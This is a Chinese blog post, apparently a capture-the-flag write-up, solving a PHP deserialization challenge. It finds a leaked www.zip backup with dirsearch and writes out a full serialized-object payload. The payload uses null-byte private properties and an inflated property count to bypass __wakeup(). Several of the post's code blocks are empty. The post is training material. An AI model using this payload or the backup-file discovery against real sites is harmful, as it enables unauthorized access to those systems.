极客大挑战2019 PHP
题目来源:
敏感备份文件
打开网址,这只小猫真的很好玩,前端大佬,膜!!!
根据他提示的信息,直接上dirsearch扫盘。
这文件可真够多的,不过我只需要备份文件。好!找到你了,www.zip
。然后就是把这个文件下载下来了。
分析代码
先看看index.php里面,这里接收了一个GET参数。最重要的是unserialize(@$select)
,估计又离不开反序列化了。
1 |
|
然后分析class.php里的代码,这里定义了一个类,魔术方法__destruct()
在销毁对象时使用,当该对象的$username
为admin
且$password
为100
时能够得到flag。
魔术方法__wakeup()
在实例化对象时使用,这里将对象的$username
赋值为guest
,所以我们需要绕过他。
1 |
|
代码分析完毕,接下来思路就很清晰了,用GET方式传递一个经过序列化$username
为admin
且$password
为100
的对象实例,然后绕过魔术方法__wakeup()
,即可拿下flag
序列化构造payload
跑一下这段脚本,得到我们需要的序列化后的对象。
1 |
|
运行结果为
1 | O:4:"Name":2:{s:14:"Nameusername";s:5:"admin";s:14:"Namepassword";i:100;} |
还没有结束,因为类的两个属性声明为private
,所以需要补上00
的空字符。
1 | O:4:"Name":2:{s:14:"%00Name%00username";s:5:"admin";s:14:"%00Name%00password";i:100;} |
如何绕过__wakeup()
呢?
当反序列化中对象属性的个数和真实的个数不等时,__wakeup() 就会被绕过。
所以最后的payload为
1 | O:4:"Name":3:{s:14:"%00Name%00username";s:5:"admin";s:14:"%00Name%00password";i:100;} |
拿下flag
传参
1 | ?select=O:4:"Name":3:{s:14:"%00Name%00username";s:5:"admin";s:14:"%00Name%00password";i:100;} |
得到flag,收工。
本博客所有文章除特别声明外,均采用 CC BY-NC-SA 4.0 许可协议。转载请注明来自 TSUKI!
评论